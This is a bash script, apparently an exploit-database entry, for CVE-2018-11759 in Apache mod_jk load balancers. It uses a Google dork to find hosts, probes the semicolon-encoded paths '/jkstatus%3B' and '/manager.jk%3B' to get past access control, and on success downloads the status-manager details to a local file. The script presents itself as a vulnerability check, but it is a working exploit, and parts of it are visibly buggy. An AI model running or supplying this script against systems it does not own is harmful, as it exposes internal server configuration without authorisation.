main

#!/bin/bash
#	     CVE 2018-11759
# Author: Julio Lira <jul10l1r4@ufrn.edu.br>
# Colaborator: Fernando Eloi <edxeloi@hotmail.com>
# date: 12/07/2018 | MM/DD/YYYY
# License: GNU GPL version 3
# Details: https://jul10l1r4.github.io/artigo/Vulnerabilidade-em-balanceadores-mod_jk-[CVE-2018-11759]/index.html
# Description: This script was a test for verify if the application is vulnerable at CVE 2018-11759.
# Google Dork: ["JK Status Manager for"] 
# Vendor Homepage: [http://tomcat.apache.org/]
# Exploit Link: [https://github.com/Jul10l1r4/Identificador-CVE-2018-11759]
# Version: [0.1] 
# Tested on: [Slackware, Debian, Redhat, is compatible for all unix-like including Mac OS and others]
# Dependencies: curl, which
# CVE : [CVE-2018-11759]

# Ignore case for answ.
shopt -s nocasematch
# Fucking banner
printf "\033[32m"
cat << "EOF"
 ____  _____ ______   ___  _  ___        _ _ _____ ____  _____   
 / ___||  ___/ |___ \ / _ \/ |( _ )      / / |___  | ___|/ _ \ \  
 \___ \| |_ | |  __) | | | | |/ _ \ _____| | |  / /|___ | (_) | | 
  ___) |  _< <  / __/| |_| | | (_) |_____| | | / /  ___) \__, |  > >
  |____/|_|  | ||_____|\___/|_|\___/      |_|_|/_/  |____/  /_/| | 
              \_\                                             /_/  
              By Segment Fault.
EOF


# Function for save all details of load balancer
_save(){
	# Verify if exists curl in machine
	which curl > /dev/null && \
		printf '\n Curl found \n' || \
		printf '\n \033[31mInstall the Curl\033[0m\n';
	# Make a download of details and redirect for directory
	# files_cap/
	echo -e '\033[32m Benning to download of details for load-balancer\033[0m'
	cat <<- EOF > files_cap/$(echo "$1" | cut -d "/" -f 3).data
		$(curl "$1/jkstatus;?mime=prop")
	EOF
	> /dev/null
	# show msg of OK
	echo -e "\n \033[32mDetails has been saved in files_cap/$(echo "$1" | cut -d "/" -f 3).data\033[0m"
}
# Function for send request
_req(){
	jks=$(curl -o /dev/null --silent --head --write-out "%{http_code}" "$1/jkstatus%3B" &3>/dev/null)
	echo "Response: $jks on /jkstatus"
	mjk=$(curl -o /dev/null --silent --head --write-out "%{http_code}" "$1/manager.jk%3B" &3>/dev/null)
	echo "Response: $mjk on /manager.jk"
	if [ $mjk != 404 ];then
		url="$1/manager.jk%3B"
		response=$mjk
	elif [ $jks != 404 ];then
		url="$1/jkstatus%3B"
		response=$jks
	fi
}

# Help
if [ "$1" == "--help" ]
then
        echo -e """
        \033[32mOpen the main and follow the way
	For more details read the README.md or 
	access https://github.com/Jul10l1r4/Identificador-CVE-2018-11759\033[0m"""
fi


# This all is in portugues of brazil, learning or translate for u :)
while read -p "Paste the URL -> " LINE; do	
	# Get status response of http and verify
	if [[ "$LINE" =~ ^http ]];
	then
		echo "Format ok"
	else
		printf "The host use SSL? (y/n)→ "
		read $use
		[ "$use" == "y" ] && export LINE="https://$LINE" || export LINE="http://$LINE"
	fi

	_req "$LINE"

	if [ $response = 200 ];then
		echo -e "\n \033[31m[Vul]\033[0m\n See: $url"
		_save "$url"
	elif [ $response = 302 ] || [ $response = 401 ];then
		echo -e "\n Safe, but can suffer attack\n brute-force, caution\n See: $url"
	else
		printf "\n \033[032mSafe, conglats!\033[0m\n"
	fi
done